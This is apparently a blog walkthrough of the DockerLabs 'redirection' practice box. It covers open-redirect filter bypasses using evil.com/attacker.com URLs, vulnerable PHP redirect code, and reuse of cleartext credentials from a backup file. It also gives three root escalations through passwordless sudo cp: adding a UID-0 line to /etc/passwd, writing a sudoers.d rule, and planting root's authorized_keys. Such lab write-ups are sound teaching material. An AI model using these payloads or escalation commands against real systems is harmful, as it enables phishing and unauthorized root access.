> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# DockerLabs redirection Writeup: Open Redirect to Root
- URL: https://taiwanding.com/en/dockerlabs-redirection-writeup-2/
- Published: 2026-07-11T09:15:42.000Z
- Updated: 2026-07-15T02:50:36.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

> Platform: [DockerLabs.es](https://dockerlabs.es/?ref=taiwanding.com)   
> Author: El Pingüino de Mario community Environment: WSL2 Kali Linux

## 0\. Introduction

This is the first post in this site's DockerLabs series, so I'm documenting the **environment setup** in full here. Every later box reuses the same workflow, and I won't repeat it. DockerLabs is a Spanish security-practice platform whose boxes are packaged as Docker containers (a `.tar` image plus an `auto_deploy.sh` deployment script). Compared with VulnHub's `.ova` files (which need libvirt/KVM or VMware), it's far more lightweight — deployment takes seconds.

The teaching focus of `redirection` is **Open Redirect**, with three labs that progress from no protection at all the way up to a misuse of `parse_url`, step by step. But it isn't a pure web-only training box — after you earn the official SSH credentials by clearing the web challenges, there's a complete "lateral movement + privilege escalation" chain hidden behind them. It makes for an excellent end-to-end beginner tutorial.

## 1\. Environment setup (WSL2 + Docker)

### 1.1 Starting the Docker daemon

WSL2 has no systemd by default (unless you enable it in `/etc/wsl.conf`), so start Docker with `service`:

```bash
sudo service docker start        # use this when there's no systemd
# or sudo systemctl start docker  (only if systemd is enabled)
docker info | head               # confirm the daemon is alive

```

### 1.2 Deployment

**The official standard workflow (`auto_deploy.sh`)**

After extracting, you get a `.tar` image and an `auto_deploy.sh` script. The script automatically runs `docker load` and starts the container, hanging in the foreground while it prints the container IP. When you're done, hit `Ctrl+C` to tear the whole environment down in one go:

```bash
unzip redirection.zip -d redirection && cd redirection
ls -al                                    # auto_deploy.sh + redirection.tar
sudo bash auto_deploy.sh redirection.tar  # holds the foreground; attack from another tab

```

### 1.3 Improving the WSLg GUI experience

If you're doing everything from inside Kali, launching a graphical browser directly through WSLg is the easiest route. A few essential tweaks:

```bash
sudo apt install -y firefox-esr fonts-noto-cjk fonts-noto-color-emoji

```

WSL2 has no native NVIDIA Vulkan (it's missing the Mesa dzn driver), only llvmpipe (CPU software rendering). Firefox tries to use GPU acceleration by default and tends to glitch out visually, so you need to force software rendering; on a 4K screen you also want to scale things up. Add this line to `~/.bashrc` (note it's bash, not zsh):

```bash
alias ff='GDK_SCALE=3 LIBGL_ALWAYS_SOFTWARE=1 MOZ_ENABLE_WAYLAND=1 firefox-esr'

```

After that, `ff http://172.17.0.4` opens a scaled-up, stable Firefox. If the fonts/content still aren't big enough, you can tune `layout.css.devPixelsPerPx` in `about:config`.

## 2\. Reconnaissance

First, confirm the host is up and check its services:

```bash
ping -c1 172.17.0.4
nmap -p- --min-rate 5000 -sS -n -Pn -vvv 172.17.0.4

```

The result matches what `docker inspect` implies: **80/tcp (Apache 2.4.62 Debian)** and **22/tcp (OpenSSH)**.

Browsing to `http://172.17.0.4/`, the home page is a Spanish-language description of the Open Redirect lab, pointing to three challenge entry points — `/laboratorio1`, `/laboratorio2`, `/laboratorio3` — along with a warning:

> "Only use these credentials to log in over SSH after you've completed all the earlier challenges; otherwise the writeup you upload won't be counted. Username: `balu` / Password: `balulero`"

These credentials are the reward for clearing the challenges. The proper way to play is to break in on your own via the Open Redirect, so set them aside for now.

## 3\. The three Open Redirect labs

### Laboratorio 1 — No protection

Grab the home page HTML. Watch out for Apache's 301 directory redirect (a request without a trailing slash gets sent to the trailing-slash version), so fetch `/laboratorio1/`:

```bash
curl -s http://172.17.0.4/laboratorio1/ | grep -iE 'href|url|redirect|<a'
# <a href="redirect.php?url=http://google.com">Ir a otro sitio</a>

```

The redirect destination lives in the `url` parameter and is entirely user-controlled — a textbook Open Redirect entry point. Verify:

```bash
curl -s -I "http://172.17.0.4/laboratorio1/redirect.php?url=http://example.com"

```

```
HTTP/1.1 302 Found
Location: http://example.com          ← taken at face value, zero validation

```

**Lab 1 solved.** The danger here is phishing: an attacker can craft `http://trusted-domain/redirect.php?url=http://phishing-site`. The victim sees the familiar domain at the start, trusts it, and clicks — only to be silently redirected to a spoofed page. This is also a common precursor to bypassing OAuth/SSO `redirect_uri` allowlists.

### Laboratorio 2 — Prefix-match bypass

The title changes to `Restricted Redirect Example` and the default value is now `https://www.google.com`. Three probes let us reverse-engineer the filter logic:

```bash
# sent                                              → result
url=http://example.com                              → 200 (blocked)
url=http://google.com.evil.com                      → 200 (blocked)
url=https://www.google.com.attacker.com             → 302 (passed!)

```

| # | payload                             | Result         | Interpretation                                         |
| - | ----------------------------------- | -------------- | ------------------------------------------------------ |
| 1 | http://example.com                  | 200 blocked    | External site rejected                                 |
| 2 | http://google.com.evil.com          | 200 blocked    | Just having the word google isn't enough               |
| 3 | https://www.google.com.attacker.com | **302 passed** | Starts with the full https://www.google.com → the flaw |

The filter rule = "does it start with `https://www.google.com` (prefix match)". The mistake is that it **only checks the prefix and ignores whatever follows**:

```
https://www.google.com.attacker.com
└──── prefix that passes the check ────┘└─ real main domain: attacker.com ─┘

```

An independent second path to the same flaw is `@` obfuscation (the userinfo trick), and both work:

```bash
url=https://www.google.com.evil.com/phish   → 302 (can carry a full phishing path)
url=https://www.google.com@evil.com         → 302 (everything before @ is userinfo; actually connects to evil.com)

```

**Lab 2 solved.** Commit the `@` obfuscation to memory — the browser discards everything before the `@` as user info and actually connects to the host after the `@`, while the human eye mistakes the trusted domain at the start for the real destination.

### Laboratorio 3 — parse\_url + strpos misuse

The title and default link are the same as Lab 2, and the filter logic is hidden inside `redirect.php`. Black-box probing:

| payload                           | Result         | Observation                     |
| --------------------------------- | -------------- | ------------------------------- |
| http://example.com                | 200 blocked    | External site rejected          |
| https://www.google.com.evil.com   | **302 passed** | Prefix-style bypass still works |
| https://www.google.com@evil.com   | 200 blocked    | The @ route is blocked here     |
| //evil.com                        | 200 blocked    | Protocol-relative is blocked    |
| https://www.google.com%40evil.com | 200 blocked    | %40 isn't decoded back to @     |

After getting root (see below), I went back and read the source. **White-box confirmation** of the reasoning:

```php
<?php
$allowed_domain = 'google.com';
$url = isset($_GET['url']) ? $_GET['url'] : '';
$parsed_url = parse_url($url);
// Insecure validation: allowed as long as the host "contains" the google.com substring
if (isset($parsed_url['host']) && strpos($parsed_url['host'], $allowed_domain) !== false) {
    header("Location: $url");
    exit();
} else {
    echo "Redirección no permitida. Solo puedes redirigirte a Google.";
}
?>

```

The truth is more subtle than the black-box guess: Lab 3 **correctly uses `parse_url()` to parse the host** (it got half of it right), but then falls apart on the `strpos($host, 'google.com') !== false` "substring contains" comparison. Mapping each observation:

| payload                   | host from parse\_url      | host contains google.com? | Result      |
| ------------------------- | ------------------------- | ------------------------- | ----------- |
| www.google.com.evil.com   | www.google.com.evil.com   | ✅                         | 302 passed  |
| www.google.com@evil.com   | evil.com                  | ❌                         | 200 blocked |
| //evil.com                | no host                   | —                         | 200 blocked |
| www.google.com%40evil.com | evil.com (after decoding) | ❌                         | 200 blocked |

The reason `@` gets blocked isn't that it's on a blacklist — it's that `parse_url` correctly identifies `evil.com` as the host, which doesn't contain the `google.com` substring. Since "containing it anywhere is enough," you can bypass the check by hiding `google.com` anywhere in the host:

```bash
url=http://google.com.attacker.com      → host = google.com.attacker.com (contains substring, passes)
url=http://evilgoogle.com.attacker.io   → host contains "google.com", actually connects to attacker.io (passes)

```

**Lab 3 solved.** The lesson: **parsing correctly ≠ being secure** — `parse_url` was used correctly, only to be ruined by `strpos`'s fuzzy comparison.

## 4\. SSH foothold

With all three labs cleared, I can legitimately use the official credentials:

```bash
ssh balu@172.17.0.4        # password balulero
id                          # uid=1000(balu) gid=1000(balu) groups=1000(balu),100(users)
sudo -l                     # balu isn't in sudoers

```

`balu`'s home directory has only the default dotfiles, no flag.

## 5\. Lateral movement: balu → balulito

Enumeration reveals a **second user** on the system, `balulito`, and that `balu` has read/write access to a backup file in the root directory:

```bash
ls -al /home
# drwx------ balulito  ← another user, home directory 700

find / -perm -4000 -type f 2>/dev/null    # all SUID binaries are standard system ones, nothing exploitable
find / -type f -writable 2>/dev/null | grep -vE '^/(proc|sys)'
# /secret.bak  ← a suspicious backup file in the root directory

```

Reading `/secret.bak` gives cleartext credentials directly:

```bash
cat /secret.bak
# balulito:balulerochingon

```

Switch users:

```bash
su balulito        # password balulerochingon

```

## 6\. Privilege escalation: balulito → root

After switching identity and re-enumerating, `balulito` has one sudo rule:

```bash
sudo -l
# User balulito may run the following commands:
#     (ALL) NOPASSWD: /bin/cp

```

`balulito` can run `cp` **as root, without a password**. This is a classic privesc primitive from [GTFOBins](https://gtfobins.github.io/gtfobins/cp/?ref=taiwanding.com) — "arbitrary file writes as root" means you can overwrite any critical system file. There are at least three paths to root:

**Path A — Overwrite `/etc/passwd` (most reliable; doesn't require reading the original first)**

```bash
# Generate a UID=0 account line with a password hash, append it, and copy it back
openssl passwd -1 -salt xyz pwned                     # yields $1$xyz$...
cp /etc/passwd /tmp/passwd
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo /bin/cp /tmp/passwd /etc/passwd
su hacker                                              # password pwned → uid=0

```

**Path B — Append a sudoers rule**

⚠️ `/etc/sudoers` is `0440` by default, so `balulito` can't read it, and directly `cp`\-ing the original file will fail. Also, **overwriting the entire `/etc/sudoers` would wipe the existing rules**, which is extremely dangerous in a production environment — write into `/etc/sudoers.d/` instead. A clean one-liner:

```bash
echo 'balulito ALL=(ALL) NOPASSWD: ALL' | sudo /bin/cp /dev/stdin /etc/sudoers.d/pwn
sudo su -

```

**Path C — Plant an authorized\_keys for root**

```bash
ssh-keygen -f key -N ''
sudo /bin/cp key.pub /root/.ssh/authorized_keys
ssh -i key root@172.17.0.4

```

After running it, we have root:

```bash
whoami        # root
id            # uid=0(root)

```

*This article is an educational security record of work done in an authorized local practice environment (DockerLabs). Please do not use these techniques against systems you don't have permission to test.*